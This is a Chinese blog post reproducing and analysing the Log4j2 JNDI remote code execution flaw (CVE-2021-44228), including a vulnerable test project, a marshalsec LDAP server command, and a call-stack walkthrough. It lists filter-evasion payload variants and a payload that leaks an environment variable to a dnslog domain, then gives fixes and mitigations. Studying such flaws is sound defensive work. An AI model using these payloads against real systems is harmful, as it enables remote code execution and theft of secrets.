log4j2 rce
介绍
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914 、CVE-2021-44228)
影响版本
Apache Log4j 2.x <= 2.15.0-rc1
2.15.0-rc1 存在补丁绕过,但是很鸡肋
复现
Java版本是:8u20
首先新建一个maven项目,pom如下:api不是必需的
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
代码如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
// logger.error("${jndi:ldap://${env:LOGNAME}.rkk7jq.dnslog.cn}");
logger.error("${jndi:ldap://127.0.0.1:1389/aaa}");
}
}
启动Ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit
在exp目录下启动http服务
结果如下:
漏洞原理
我们知道执行命令是在Runtime.getRuntime().exec(),我们直接在exec方法下断点,得到调用栈
调用栈如下:
exec:485, Runtime (java.lang)
<init>:-1, ExploitgJlWqLWBF3
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test
看到lookup()方法,先点过去
就是常规的jndi注入。
具体调用流程可以看这篇博客。
log4j2 RCE 分析 – 天下大木头 (wjlshare.com)
而log4j处理日志字符串的流程大概是这样的:
总结一下整个分析过程,也很简单
- 先判断内容中是否有
${}
,然后截取${}
中的内容,得到我们的恶意payloadjndi:xxx
- 后使用
:
分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
。
在这里有一点要注意:
*此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。
那么什么情况下会记录呢?
其实log4j在默认情况下等级是fatal和error才可以记录,其他日志等级也不是不能触发,修改一下日志记录等级,让它能够记录下来我们输入的payload,就可以触发漏洞了。
常规绕过
情况1-多个${}
先来分析一下多个${}
的执行流程,Payload举例如下:
${aaa:${bbb:ccc}dd}${ee:ff}
简而言之,如果是${${}}这种类型的,会先处理内部的;如果是${}${}类型的,会依次处理。
情况2-分割符
payload1: ${aa:\\-bb}
就是把:\-
中的 \
去掉了变成了:-
payload2:${aa:-bb}
从源码可以看出来,被:-
分割成了前后两部分,前面的部分赋值给varName
,后面部分赋值给varDefaultValue
;
varName
会被传入到resolveVariable()
进行解析,如果没有协议什么的,就会返回null
- 如果
resolveVariable()
返回值为null
,varDefaultValue
在后续的过程中也会递归调用substitute
,最后会返回varDefaultValue
的值。
简单来说就是看看aa是不是协议,如果不是协议就返回null,如果aa返回null的话,返回bb的值。
那么具体有哪些协议呢?
解析协议 | 说明 |
---|---|
date: |
日期时间(详情org.apache.logging.log4j.core.lookup.DateLookup#lookup ) |
java: |
一些JVM的信息(可用参数version、runtime、vm、os、hw、locale ,详情org.apache.logging.log4j.core.lookup.JavaLookup#lookup ) |
marker: |
返回event.getMarker() ,不知道具体干啥的 |
ctx:key |
返回event.getContextData().getValue(key) ,就是获取上下文的数据 |
lower:KEY |
返回字符串小写值 |
upper:key |
返回字符串大写值 |
jndi: |
JNDI注入利用点,不多说了 |
main:key |
返回((MapMessage) event.getMessage()).get(key) ,也是获取一些变量值 |
jvmrunargs: |
没搞懂。。。 |
sys:key |
返回一些系统属性:System.getProperty(key) |
env:key |
返回System.getenv(key) |
log4j:key |
返回一些log4j 的配置信息,可用值configLocation、configParentLocation |
绕过思路
现在知道了${}
的执行流程,也知道了分割符的处理流程,那么怎么改造payload呢?
原始payload如下:
${jndi:ldap://127.0.0.1:1389/ccc}
改造后如下:
${${a:-j}ndi:ldap://127.0.0.1:1389/aaa}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/aaa}
${${lower:jn}di:ldap://127.0.0.1:1389/aaa}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/aaa}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/aaa}
技巧
结合解析协议,我们可以用协议读取一些环境变量
payload:
${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}
但是在这里我没有在dns记录里面成功看到,不知带为啥,调试之后是成功了的
修复建议
- 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
- 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,从根源上杜绝大部分常规的JNDI注入
临时措施
- 在jvm参数中添加
-Dlog4j2.formatMsgNoLookups=true
【针对 2.10.0 及以上的版本】 - 系统环境变量中将
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为true
【针对 2.10.0 及以上的版本】 - 创建“
log4j2.component.properties
”文件,文件中增加配置“log4j2.formatMsgNoLookups=true
” 【针对 2.10.0 及以上的版本】 - 限制受影响应用对外访问互联网
参考
06.log4j2_rce分析 · d4m1ts 知识库 (gm7.org)
https://drun1baby.github.io/2022/08/09/Log4j2复现/
标签:core,logging,lookup,org,apache,rce,log4j2,log4j From: https://www.cnblogs.com/yingzui/p/18629620